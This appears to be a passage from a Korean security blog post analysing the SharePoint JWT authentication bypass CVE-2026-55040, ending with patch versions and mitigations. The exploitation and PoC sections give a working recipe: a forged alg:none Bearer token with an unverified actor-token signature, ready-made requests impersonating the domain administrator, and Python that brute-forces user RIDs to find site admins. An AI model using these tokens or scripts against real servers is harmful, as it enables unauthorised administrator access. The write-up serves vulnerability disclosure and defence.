	string rawData = ((JwtSecurityToken)jwtToken).RawData;
	if (string.IsNullOrWhiteSpace(rawData) && string.IsNullOrWhiteSpace(((JwtSecurityToken)jwtToken).RawSignature))
	{
		ULS.SendTraceTag(591196937u, ULSCat.msoulscat_WSS_SecurityTokenHandler, ULSTraceLevel.Unexpected, "The SPJwtSecurityToken doesn't have a signature.");
		throw new InvalidOperationException(SPResource.GetString(CultureInfo.InvariantCulture, "NullBootstrapToken"));
	}
	string text = ((JwtSecurityToken)jwtToken).RawSignature;
	if (string.IsNullOrWhiteSpace(text))
	{
		text = rawData.Substring(rawData.LastIndexOf('.') + 1); // <--- [1]
	}
	if (string.IsNullOrWhiteSpace(text))
	{
		if (jwtToken.ActorToken != null)
		{
			text = GetTokenSignature(jwtToken.ActorToken); // <--- [2]
			StringBuilder stringBuilder = new StringBuilder();
			stringBuilder.Append(jwtToken.Audience);
			stringBuilder.Append(',');
			stringBuilder.Append(((System.IdentityModel.Tokens.SecurityToken)(object)jwtToken).ValidFrom.ToFileTimeUtc());
			stringBuilder.Append(',');
			stringBuilder.Append(((System.IdentityModel.Tokens.SecurityToken)(object)jwtToken).ValidTo.ToFileTimeUtc());
			stringBuilder.Append(',');
			foreach (Claim claim in ((JwtSecurityToken)jwtToken).Claims)
			{
				stringBuilder.Append(claim.Value);
				stringBuilder.Append(',');
			}
			return stringBuilder?.ToString() + text; // <--- [3]
		}
		ULS.SendTraceTag(573368524u, Category, ULSTraceLevel.Unexpected, "SPJsonWebSecurityBaseTokenHandlerV2: ActorToken doesn't have a signature.");
		throw new InvalidOperationException(SPResource.GetString(CultureInfo.InvariantCulture, "NullBootstrapToken"));
	}
	return text;
}

 

- 취약점은 다음 네 가지 약점이 조합되어 발생
① 외부 헤더에 alg : none이 포함된 JWT를 전송하므로 외부 토큰에 서명이 필요하지 않음
② Actor 토큰의 x5t 헤더에는 SharePoint 자체의 STS 인증서 지문이 포함되어 있어 검증 없이 서명 키를 확인 가능
③ TrustedSecurityTokenServices 에 없으므로 발급자가 승인
④ Actor 토큰의 서명은 AAAA와 같은 비어 있지 않은 임의의 값이며, 암호학적으로 검증되지 않음

 

2.2 악용 흐름

- 공격자는 먼저 GET  /_layouts/15/metadata/json/1 요청을 통해  대상 SharePoint 사이트에서 STS 서명 인증서의 x509 인증서를 획득

[요청 예시]
GET /_layouts/15/metadata/json/1 HTTP/1.1
Host: 192.168.86.11
User-Agent: curl/7.81.0
Accept: */*

[응답 예시]
HTTP/1.1 200 OK
...
{"issuer":"00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde","keys":[{"keyValue":{"type":"x509certificate","value":"MIIEhzCCAm+gAwIBAgIQbgEQC4zI97pMh7WkdsMmtTANBgkqhkiG9w0BAQsFADBaMQswCQYDVQQGEwJVUzESMBAGA1UEChMJTWljcm9zb2Z0MRMwEQYDVQQLEwpTaGFyZVBvaW50MSIwIAYDVQQDExlTaGFyZVBvaW50IFJvb3QgQXV0aG9yaXR5MCAXDTI2MDMxMTIwMjY1M1oYDzk5OTkwMTAxMDAwMDAwWjBiMQswCQYDVQQGEwJVUzESMBAGA1UEChMJTWljcm9zb2Z0MRMwEQYDVQQLEwpTaGFyZVBvaW50MSowKAYDVQQDEyFTaGFyZVBvaW50IFNlY3VyaXR5IFRva2VuIFNlcnZpY2UwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDY8RNv0VUdgmBubMAHYBI8nu1pWUwUDJywDIwKxgoLuu26Wd6tTMnk5Fb7kYVT+gw+wdW80DeOU\/9lAySKat+FESEuwoUKbJP1Kk6vbuvWyYofz91i9oCXXzqAR1AwNsMGr1nAszVRbPaTrcidomvT2DzQ4YBW2IGtDJEpXIcSrN4T5B4bNH+2rXk11vZHG7c31Y\/VuAwybLGndwSYoiT8aTOgnHsEB9jqZjipkinwnowhk1d6LsPawm6X+y8z7SqkVgMdqKVB5gAMECUedv0qGd2+AW\/2j8Dbk3NNW3XddCBye2wQP0GeioQjcveDK4U0n+3qJjOwG0Y4\/7Jex\/IVAgMBAAGjPzA9MA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH\/BAIwADANBgkqhkiG9w0BAQsFAAOCAgEAPXw7TdU6U9ij28uirUm4oQk6Qtdx42G8JNkz44oF4s1ifaODLKqgXCViHRo0bJj3KAz1aSWUdld\/wrOw99tbxPme9sd8ilHN61fKjUPzl7NMyA85895FnA5J62sKcPjmusDHD1WjSYA+y47L\/I3qlUCL9nOPhqjHN4bEQYJV7c9X+9lmnK1QBmqtjQ+Dy8tie6B9XKvSZgb8clVc7pXeG3k4eqNqi8AtgLoW6UmT\/7tXzqotC9oyBmeA3Ucaj99HJ\/4zBN7cOjIL78xNYds8DIVEqGqZFL30uOvJnEecAmtHbMg5yX2oO0p11PSM+JVIiC7gWClfaZ0Ta0tLG5VdmX0wfzmxS+jBEFqvFUA3BFuClQeamKdvIBE7cFXG\/MujpCboiLP0qdZUhGUduFiy94vH0oxKQFZVLT62T4cNbMu0WGGOY67N8p9UKzUvLVis0FnR1nQvy4SJSdt4kBzUUA42z70v\/ACpzHLXsETil+MnGbTXMfEGVzl+s2+9Su4OpTtDe8AIMdDPoH8uaHklLF65FUPKa+aHGlTB9VPyYySC++PCIPIra\/uxjb21V+GBPU8YgbFsOiCNF36AcGakskieghg97EBHumzQuoPnnvCkkRr2\/xU59Yxw01eS42pfVNeJlXDGKwEtAiN1Fwkay2Ji7dq\/wXtFy5OsVBlerec="},"usage":"Signing"}],"name":"00000003-0000-0ff1-ce00-000000000000","serviceName":"00000003-0000-0ff1-ce00-000000000000"}

 

x5t를 계산(예시의 x5t 값 : i_gz5qfYp5YPWAK1__0YhZnipLI)하고, 임의의 비어 있지 않은 서명을 포함조작된 JWT 토큰 구성 및 base64로 인코딩하여 Bearer 토큰 생성
> 공격자는 외부 토큰에 alg:none을 지정하고, 내부 Actor Token에는 STS 인증서의 x5t와 검증되지 않는 임의의 서명을 지정

[외부 토큰 헤더]
{"alg": "none", "typ": "JWT"}

[외부 페이로드]
{
  "aud": "00000003-0000-0ff1-ce00-000000000000/win-b0i6kv698ls@af90cc03-4a26-45e9-906a-609cebcebbde",
  "iss": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
  "nbf": 1776765672,
  "exp": 1776769572,
  "nameid": "S-1-5-21-4203888158-2793536450-3921675298-500",
  "nii": "urn:office:idp:activedirectory",
  "trustedfordelegation": "true",
  "actortoken": "eyJhbGciOiAiUlMyNTYiLCAidHlwIjogIkpXVCIsICJ4NXQiOiAiaV9nejVxZllwNVlQV0FLMV9fMFloWm5pcExJIn0.eyJpc3MiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwQGFmOTBjYzAzLTRhMjYtNDVlOS05MDZhLTYwOWNlYmNlYmJkZSIsICJuYW1laWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwQGFmOTBjYzAzLTRhMjYtNDVlOS05MDZhLTYwOWNlYmNlYmJkZSIsICJuYmYiOiAxNzc2NzY1NjcyLCAiZXhwIjogMTc3Njc2OTU3Mn0.AAAA"
}

// audience(aud) 클레임 : 토큰의 대상을 식별
// issuer(iss) 클레임 : 토큰의 발급자를 식별 (00000003-0000-0ff1-ce00-000000000000 : 알려진 SharePoint 보안 주체 애플리케이션 ID)
// Name ID(nameid) : 토큰의 주체(사용자)를 식별하기 위한 고유 ID를 나타내는 클레임 (S-1-5-21-4203888158-2793536450-3921675298-500 : 도메인 관리자)

[내부 토큰 헤더]
{"alg": "RS256", "typ": "JWT", "x5t": "i_gz5qfYp5YPWAK1__0YhZnipLI"}

// x5t : SharePoint 서버의 STS 서명 인증서에 해당하는 x5t 값

[내부 페이로드]
{
  "iss": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
  "nameid": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
  "nbf": 1776765672,
  "exp": 1776769572
}

 

※ Bear Token 참고

eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL3dpbi1iMGk2a3Y2OThsc0BhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAiaXNzIjogIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEBhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAibmJmIjogMTc3Njc2NTY3MiwgImV4cCI6IDE3NzY3Njk1NzIsICJuYW1laWQiOiAiUy0xLTUtMjEtNDIwMzg4ODE1OC0yNzkzNTM2NDUwLTM5MjE2NzUyOTgtNTAwIiwgIm5paSI6ICJ1cm46b2ZmaWNlOmlkcDphY3RpdmVkaXJlY3RvcnkiLCAidHJ1c3RlZGZvcmRlbGVnYXRpb24iOiAidHJ1ZSIsICJhY3RvcnRva2VuIjogImV5SmhiR2NpT2lBaVVsTXlOVFlpTENBaWRIbHdJam9nSWtwWFZDSXNJQ0o0TlhRaU9pQWlhVjluZWpWeFpsbHdOVmxRVjBGTE1WOWZNRmxvV201cGNFeEpJbjAuZXlKcGMzTWlPaUFpTURBd01EQXdNRE10TURBd01DMHdabVl4TFdObE1EQXRNREF3TURBd01EQXdNREF3UUdGbU9UQmpZekF6TFRSaE1qWXRORFZsT1MwNU1EWmhMVFl3T1dObFltTmxZbUprWlNJc0lDSnVZVzFsYVdRaU9pQWlNREF3TURBd01ETXRNREF3TUMwd1ptWXhMV05sTURBdE1EQXdNREF3TURBd01EQXdRR0ZtT1RCall6QXpMVFJoTWpZdE5EVmxPUzA1TURaaExUWXdPV05sWW1ObFltSmtaU0lzSUNKdVltWWlPaUF4TnpjMk56WTFOamN5TENBaVpYaHdJam9nTVRjM05qYzJPVFUzTW4wLkFBQUEifQ.

[사진 2] Bear Token 참고

- /_api/web/currentuser와 같은 인증된 엔드포인트에 요청을 보내 SharePoint 사용자로 인증되었음을 증명
> 본 예시는 SID RID 500을 사용한 관리자 계정 가장 사례이며, 취약점을 악용해 특정 관리자 계정에 한정되지 않고 공격자가 식별할 수 있는 SharePoint 사용자를 대상으로 악용 가능

[요청 예시]
GET /_api/web/currentuser HTTP/1.1
Host: win-b0i6kv698ls
User-Agent: curl/7.81.0
Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL3dpbi1iMGk2a3Y2OThsc0BhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAiaXNzIjogIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEBhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAibmJmIjogMTc3Njc2NTY3MiwgImV4cCI6IDE3NzY3Njk1NzIsICJuYW1laWQiOiAiUy0xLTUtMjEtNDIwMzg4ODE1OC0yNzkzNTM2NDUwLTM5MjE2NzUyOTgtNTAwIiwgIm5paSI6ICJ1cm46b2ZmaWNlOmlkcDphY3RpdmVkaXJlY3RvcnkiLCAidHJ1c3RlZGZvcmRlbGVnYXRpb24iOiAidHJ1ZSIsICJhY3RvcnRva2VuIjogImV5SmhiR2NpT2lBaVVsTXlOVFlpTENBaWRIbHdJam9nSWtwWFZDSXNJQ0o0TlhRaU9pQWlhVjluZWpWeFpsbHdOVmxRVjBGTE1WOWZNRmxvV201cGNFeEpJbjAuZXlKcGMzTWlPaUFpTURBd01EQXdNRE10TURBd01DMHdabVl4TFdObE1EQXRNREF3TURBd01EQXdNREF3UUdGbU9UQmpZekF6TFRSaE1qWXRORFZsT1MwNU1EWmhMVFl3T1dObFltTmxZbUprWlNJc0lDSnVZVzFsYVdRaU9pQWlNREF3TURBd01ETXRNREF3TUMwd1ptWXhMV05sTURBdE1EQXdNREF3TURBd01EQXdRR0ZtT1RCall6QXpMVFJoTWpZdE5EVmxPUzA1TURaaExUWXdPV05sWW1ObFltSmtaU0lzSUNKdVltWWlPaUF4TnpjMk56WTFOamN5TENBaVpYaHdJam9nTVRjM05qYzJPVFUzTW4wLkFBQUEifQ.
Accept: application/json;odata=verbose

[응답 예시]
HTTP/1.1 200 OK
...

{"d":{"__metadata":{"id":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)","uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)","type":"SP.User"},"Alerts":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)/Alerts"}},"Groups":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)/Groups"}},"Id":1073741823,"IsHiddenInUI":false,"LoginName":"SHAREPOINT\\system","Title":"System Account","PrincipalType":1,"Email":"","IsEmailAuthenticationGuestUser":false,"IsShareByEmailGuestUser":false,"IsSiteAdmin":true,"UserId":{"__metadata":{"type":"SP.UserIdInfo"},"NameId":"S-1-0-0","NameIdIssuer":"urn:office:idp:activedirectory"}}}

 

/_ api/contextinfo 엔드포인트에 POST 요청을 보내 FormDigestValue 값 획득 및 해당 사용자로 SharePoint와 상호작용 가능

[요청 예시]
POST /_api/contextinfo HTTP/1.1
Host: win-b0i6kv698ls
User-Agent: curl/7.81.0
Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL3dpbi1iMGk2a3Y2OThsc0BhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAiaXNzIjogIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEBhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAibmJmIjogMTc3Njc2NTY3MiwgImV4cCI6IDE3NzY3Njk1NzIsICJuYW1laWQiOiAiUy0xLTUtMjEtNDIwMzg4ODE1OC0yNzkzNTM2NDUwLTM5MjE2NzUyOTgtNTAwIiwgIm5paSI6ICJ1cm46b2ZmaWNlOmlkcDphY3RpdmVkaXJlY3RvcnkiLCAidHJ1c3RlZGZvcmRlbGVnYXRpb24iOiAidHJ1ZSIsICJhY3RvcnRva2VuIjogImV5SmhiR2NpT2lBaVVsTXlOVFlpTENBaWRIbHdJam9nSWtwWFZDSXNJQ0o0TlhRaU9pQWlhVjluZWpWeFpsbHdOVmxRVjBGTE1WOWZNRmxvV201cGNFeEpJbjAuZXlKcGMzTWlPaUFpTURBd01EQXdNRE10TURBd01DMHdabVl4TFdObE1EQXRNREF3TURBd01EQXdNREF3UUdGbU9UQmpZekF6TFRSaE1qWXRORFZsT1MwNU1EWmhMVFl3T1dObFltTmxZbUprWlNJc0lDSnVZVzFsYVdRaU9pQWlNREF3TURBd01ETXRNREF3TUMwd1ptWXhMV05sTURBdE1EQXdNREF3TURBd01EQXdRR0ZtT1RCall6QXpMVFJoTWpZdE5EVmxPUzA1TURaaExUWXdPV05sWW1ObFltSmtaU0lzSUNKdVltWWlPaUF4TnpjMk56WTFOamN5TENBaVpYaHdJam9nTVRjM05qYzJPVFUzTW4wLkFBQUEifQ.
Accept: application/json
Content-Length: 0

[응답 예시]
HTTP/1.1 200 OK
...
{"odata.metadata":"https://win-b0i6kv698ls/_api/$metadata#SP.ContextWebInformation","FormDigestTimeoutSeconds":1800,"FormDigestValue":"0x08350AA4E26C638120137515168806E0389312ED89151357A505BA8F1F7B4992AAAF9A15D4DD3D5E43ACADE857B5AE5BFFCA753401F5E5A0C3EB6F483E4188E2,21 Apr 2026 10:06:12 -0000","LibraryVersion":"16.0.19725.20210","SiteFullUrl":"https://win-b0i6kv698ls","SupportedSchemaVersions":["14.0.0.0","15.0.0.0"],"WebFullUrl":"https://win-b0i6kv698ls"}

 

2.3 PoC

- 위조한 JWT를 이용해 대상 환경의 사용자를 확인하고, 셰어포인트 사이트 관리자 계정을 찾아내는 과정까지 자동화 [10]

# Step 1: Auto-discovery phase
print("\n[1] Auto-discovery...")

if not use_http:
    # Discover x5t, realm from STS metadata (HTTPS)
    if not all([args.x5t, args.realm]):
        print("[+] Discovering x5t and realm from STS metadata...")
        sts = discover_sts_metadata(target, port)
        if sts:
            if not args.x5t and sts.get("x5t"):
                args.x5t = sts["x5t"]
                print(f"  [*] x5t: {args.x5t}")
            if not args.realm and sts.get("realm"):
                args.realm = sts["realm"]
                print(f"  [*] realm: {args.realm}")

# Auto-SID RID iteration: find a site admin by trying RIDs
if use_sid and not args.sid and has_domain_sid:
    domain_sid = args._domain_sid

    # Build RID list: 500 first (domain admin), then 1000+ (domain users)
    rids_to_try = [500]
    rids_to_try.extend(range(1000, args.max_rid + 1))

    for rid in rids_to_try:
        sid = f"{domain_sid}-{rid}"
        user_info = check_sid_for_admin(
            args.host, args.realm, args.x5t, sid, scheme, port
        )

        if user_info:
            is_admin = user_info['is_site_admin']

            if is_admin and not site_admin:
                site_admin = user_info
                break

    if site_admin:
        args.sid = site_admin['sid']

# Determine identity mode (UPN vs SID vs default local service)
if use_upn:
    nameid = "upn_bypass"
    nii = "urn:office:idp:activedirectory"
    extra_claims = {"upn": args.upn}
elif use_sid or args.sid:
    nameid = args.sid
    nii = "urn:office:idp:activedirectory"
    extra_claims = None
else:
    nameid = "0#.w|nt authority\\local service"
    nii = "AccessToken"
    extra_claims = {"upn": "x@localhost"}

# Step 2: Forge JWT
print("\n[2] Forging JWT token...")

token = forge_jwt(args.host, args.realm, args.x5t, nameid, nii, extra_claims)

# Step 3: Get digest
print("\n[3] Obtaining form digest...")

digest = get_digest(base_url, token, args.host)

3. 대응방안

- 벤더사 제공 업데이트 적용 [11][12]

취약점 제품명 영향받는 버전 해결 버전
CVE-2026-55040 SharePoint Enterprise Server 2016 16.0.5561.1001 미만 16.0.5561.1001
SharePoint Server 2019 16.0.10417.20175 미만 16.0.10417.20175
SharePoint Server Subscription Edition 16.0.19725.20434 미만 16.0.19725.20434

 

- 즉각적인 업데이트가 어려울 경우 권고 사항
> 인터넷에서 SharePoint에 직접 접근할 필요가 없다면 외부 접근 차단
> VPN 또는 Zero Trust Access 등을 통해 허용된 사용자만 SharePoint에 접근하도록 제한
> SharePoint/IIS 로그에서 비정상적인 인증 요청과 예상하지 못한 사용자 활동 확인
> SharePoint 서비스 계정 및 관리자 계정의 권한 최소화

4. 참고

[1] https://www.microsoft.com/en-us/microsoft-365/sharepoint/collaboration
[2] https://nvd.nist.gov/vuln/detail/CVE-2026-55040
[3] https://www.rapid7.com/blog/post/ve-cve-2026-55040-microsoft-sharepoint-jwt-token-authentication-bypass-fixed/
[4] https://www.rapid7.com/blog/post/ra-microsoft-sharepoint-jwt-token-authentication-bypass-cve-2026-55040/
[5] https://auth-wiki.logto.io/ko/claim
[6] https://learn.microsoft.com/en-us/dotnet/api/microsoft.identitymodel.tokens.tokenvalidationparameters.validateaudience?view=msal-web-dotnet-latest
[7] https://learn.microsoft.com/en-us/dotnet/api/microsoft.identitymodel.tokens.tokenvalidationparameters.validateissuer?view=msal-web-dotnet-latest
[8] https://learn.microsoft.com/en-us/dotnet/api/microsoft.identitymodel.tokens.tokenvalidationparameters.requiresignedtokens?view=msal-web-dotnet-latest
[9] https://portswigger.net/kb/issues/00200901_jwt-none-algorithm-supported
[10] https://github.com/sfewer-r7/CVE-2026-55040
[11] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040
[12] https://krcert.or.kr/kr/bbs/view.do?bbsId=B0000133&menuNo=205020&nttId=72130
[13] https://dailyo.net/cve-2026-55040-sharepoint-jwt-authentication-bypass/
[14] https://www.dailysecu.com/news/articleView.html?idxno=208051

+ Recent posts